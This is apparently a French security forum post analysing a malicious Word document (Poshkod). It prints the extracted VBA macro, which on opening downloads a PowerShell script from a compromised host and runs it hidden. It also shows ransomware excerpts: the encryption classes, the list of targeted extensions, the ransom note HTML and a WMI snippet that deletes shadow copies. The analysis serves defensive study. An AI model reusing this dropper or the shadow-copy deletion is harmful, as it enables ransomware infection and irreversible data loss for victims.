En février 2015, j'avais abordé Documents XLS malveillants : macros-commandes VBA+PowerShell puis en avril 2015 XLS/DOC malveillants : analyser les flux de documents OLE & CHM malveillants: HTML compilés + ActiveX + PowerShell. Fidèles lecteurs aguerris, achetez donc le MISC #79 (Mai/Juin 2015), vous y trouverez 8 pages complètes sur le sujet avec : "Macros - Le retour de la revanche" (p.20)
Aujourd'hui, j'aborde en douceur sur ce forum, le cas des documents infectés par TrojanDownloader:W97M/Poshkod.
À l'ouverture du document Microsoft Word, une image apparait.
Une technique d'ingénierie sociale qui couvre toutes les versions d'Office.

Le document contient effectivement des macros VBA.

Je procède à l'extraction.
oledump.py -v -s A3 document.docx
Private Declare Function ChangeText Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal wJwjKhfHpGswVwHBTQoJiZWi As Long, ByVal zNjWgEyce As String, _
ByVal KfksiNWWVbxELqDCSVYQpE As String, ByVal xhPRm As String, ByVal OSheMZzzbjvXrW As String, ByVal
vMnM As Long) As Long
Private Declare Function AwlFvmAKttgStPdrYqcg Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal FurlDAWtRXTfjx As Long, ByVal SUeniLcuOic As String, _
ByVal RxGGEJvovZmmBFIAY As String, ByVal ohQ As Long, ByVal yBVyCQb As Long) As Long
Private Sub LdpdbUnkGqBHDOghCDNlRv()
Dim emnxUPtubh As String, AIyeYZXdNUcsTSjYbSsUzxg As String, TpfVkuddPPrzMoHn As String
AIyeYZXdNUcsTSjYbSsUzxg = "chrupdate.ps1"
TpfVkuddPPrzMoHn = "C:\Windows\Temp\chrupdate.ps1"
emnxUPtubh = "http://www.ilaunchmanager.com/x/wp-content/plu ... al/dl2.php"
AwlFvmAKttgStPdrYqcg 0, emnxUPtubh, TpfVkuddPPrzMoHn, 0, 0
End Sub
Private Sub Document_Open()
LdpdbUnkGqBHDOghCDNlRv
Dim Fez As String
Fez = Shell("powershell.exe -nologo -file C:\Windows\Temp\chrupdate.ps1", vbHide)
End Sub
Le fichier "dl2.php" est téléchargé depuis un serveur compromis puis
stocké localement à l'emplacement "C:\Windows\Temp\chrupdate.ps1"
Ce Script PowerShell (ps1) est ensuite exécuté sur la machine.
chrupdate.ps1 n'est autre qu'un rançongiciel chiffreur écrit en Windows PowerShell.
→ New-Object System.Security.Cryptography.RSACryptoServiceProvider(2048)
→ New-Object System.Security.Cryptography.RijndaelManaged
Celui-ci cible tous les fichiers aux extensions suivantes:
*.doc,*.xls,*.docx,*.xlsx,*.mp3,*.waw,*.jpg,*.jpeg,*.txt,*.rtf,*.pdf,*.rar,
*.zip,*.psd,*.tif,*.wma,*.gif,*.bmp,*.ppt,*.pptx,*.docm,*.xlsm,*.pps,*.ppsx,
*.ppd,*.eps,*.png,*.ace,*.djvu,*.tar,*.cdr,*.max,*.wmv,*.avi,*.wav,*.mp4,*.pdd,
*.php,*.aac,*.ac3,*.amf,*.amr,*.dwg,*.dxf,*.accdb,*.mod,*.tax2013,*.tax2014,
*.oga,*.ogg,*.pbf,*.ra,*.raw,*.saf,*.val,*.wave,*.wow,*.wpk,*.3g2,*.3gp,*.3gp2,
*.3mm,*.amx,*.avs,*.bik,*.dir,*.divx,*.dvx,*.evo,*.flv,*.qtq,*.tch,*.rts,
*.rum,*.rv,*.scn,*.srt,*.stx,*.svi,*.swf,*.trp,*.vdo,*.wm,*.wmd,*.wmmp,*.wmx,
*.wvx,*.xvid,*.3d,*.3d4,*.3df8,*.pbs,*.adi,*.ais,*.amu,*.arr,*.bmc,*.bmf,
*.cag,*.cam,*.dng,*.ink,*.jif,*.jiff,*.jpc,*.jpf,*.jpw,*.mag,*.mic,*.mip,
*.msp,*.nav,*.ncd,*.odc,*.odi,*.opf,*.qif,*.qtiq,*.srf,*.xwd,*.abw,*.act,
*.adt,*.aim,*.ans,*.asc,*.ase,*.bdp,*.bdr,*.bib,*.boc,*.crd,*.diz,*.dot,
*.dotm,*.dotx,*.dvi,*.dxe,*.mlx,*.err,*.euc,*.faq,*.fdr,*.fds,*.gthr,*.idx,
*.kwd,*.lp2,*.ltr,*.man,*.mbox,*.msg,*.nfo,*.now,*.odm,*.oft,*.pwi,*.rng,
*.rtx,*.run,*.ssa,*.text,*.unx,*.wbk,*.wsh,*.7z,*.arc,*.ari,*.arj,*.car,
*.cbr,*.cbz,*.gz,*.gzig,*.jgz,*.pak,*.pcv,*.puz,*.r00,*.r01,*.r02,*.r03,
*.rev,*.sdn,*.sen,*.sfs,*.sfx,*.sh,*.shar,*.shr,*.sqx,*.tbz2,*.tg,*.tlz,
*.vsi,*.wad,*.war,*.xpi,*.z02,*.z04,*.zap,*.zipx,*.zoo,*.ipa,*.isu,*.jar,
*.js,*.udf,*.adr,*.ap,*.aro,*.asa,*.ascx,*.ashx,*.asmx,*.asp,*.indd,*.asr,
*.qbb,*.bml,*.cer,*.cms,*.crt,*.dap,*.htm,*.moz,*.svr,*.url,*.wdgt,*.abk,
*.bic,*.big,*.blp,*.bsp,*.cgf,*.chk,*.col,*.cty,*.dem,*.elf,*.ff,*.gam,
*.grf,*.h3m,*.h4r,*.iwd,*.ldb,*.lgp,*.lvl,*.map,*.md3,*.mdl,*.mm6,*.mm7,
*.mm8,*.nds,*.pbp,*.ppf,*.pwf,*.pxp,*.sad,*.sav,*.scm,*.scx,*.sdt,*.spr,
*.sud,*.uax,*.umx,*.unr,*.uop,*.usa,*.usx,*.ut2,*.ut3,*.utc,*.utx,*.uvx,
*.uxx,*.vmf,*.vtf,*.w3g,*.w3x,*.wtd,*.wtf,*.ccd,*.cd,*.cso,*.disk,*.dmg,
*.dvd,*.fcd,*.flp,*.img,*.iso,*.isz,*.md0,*.md1,*.md2,*.mdf,*.mds,*.nrg,
*.nri,*.vcd,*.vhd,*.snp,*.bkf,*.ade,*.adpb,*.dic,*.cch,*.ctt,*.dal,*.ddc,
*.ddcx,*.dex,*.dif,*.dii,*.itdb,*.itl,*.kmz,*.lcd,*.lcf,*.mbx,*.mdn,*.odf,
*.odp,*.ods,*.pab,*.pkb,*.pkh,*.pot,*.potx,*.pptm,*.psa,*.qdf,*.qel,*.rgn,
*.rrt,*.rsw,*.rte,*.sdb,*.sdc,*.sds,*.sql,*.stt,*.t01,*.t03,*.t05,*.tcx,
*.thmx,*.txd,*.txf,*.upoi,*.vmt,*.wks,*.wmdb,*.xl,*.xlc,*.xlr,*.xlsb,*.xltx,
*.ltm,*.xlwx,*.mcd,*.cap,*.cc,*.cod,*.cp,*.cpp,*.cs,*.csi,*.dcp,*.dcu,*.dev,
*.dob,*.dox,*.dpk,*.dpl,*.dpr,*.dsk,*.dsp,*.eql,*.ex,*.f90,*.fla,*.for,*.fpp,
*.jav,*.java,*.lbi,*.owl,*.pl,*.plc,*.pli,*.pm,*.res,*.rsrc,*.so,*.swd,*.tpu,
*.tpx,*.tu,*.tur,*.vc,*.yab,*.8ba,*.8bc,*.8be,*.8bf,*.8bi8,*.bi8,*.8bl,*.8bs,
*.8bx,*.8by,*.8li,*.aip,*.amxx,*.ape,*.api,*.mxp,*.oxt,*.qpx,*.qtr,*.xla,
*.xlam,*.xll,*.xlv,*.xpt,*.cfg,*.cwf,*.dbb,*.slt,*.bp2,*.bp3,*.bpl,*.clr,*.dbx,
*.jc,*.potm,*.ppsm,*.prc,*.prt,*.shw,*.std,*.ver,*.wpl,*.xlm,*.yps,*.md3,*.1cd
Les consignes habituelles sont dans une page nommée "DECRYPT_INSTRUCTION.html"
<title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/dow ... n">here</a> and go to <b>http://rq4ul32ph34j2ghn.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>...</b>
Les limites de temps sont effectives comme nous pouvons le constater.
Add-Content -Path $page -Value ('<p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of '+(Get-Date).AddDays(+30))
Add-Content -Path $page -Value ('<p><b>The price to obtain the decrypter goes from 1BTC to 2BTC on the day of '+(Get-Date).AddDays(+10))
Enfin notons la requête WMI pour manipuler VSS.
$vss = Get-WmiObject Win32_ShadowCopy
ForEach($item in $TgxmcjKzhsjdtYd) {$item.Delete()
Il faut savoir que PowerShell existe depuis dix ans déjà ! Certains parcs de machines Microsoft Windows sont quasiment entièrement administrés / pilotés via PowerShell. Cela illustre la puissance lorsqu'il est utilisé dans des mains experts ( administrateurs ou pirates informatiques ). D'ailleurs, ce n'est pas un hasard si metasploit l'a si rapidement adopté. Avec le retour inattendu des macros c'est "Back to the old-school" et donc pourquoi pas un retour des vers informatiques. Espérons que le phénomène ne se généralise pas car d'ici à ce que les criminels se mettent en tête de véhiculer leurs rançongiciels via vos réseaux, il n'y a qu'un pas.